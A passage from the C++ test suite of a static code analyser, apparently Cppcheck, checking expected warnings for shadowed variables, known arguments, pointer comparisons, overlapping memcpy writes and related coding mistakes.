funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" 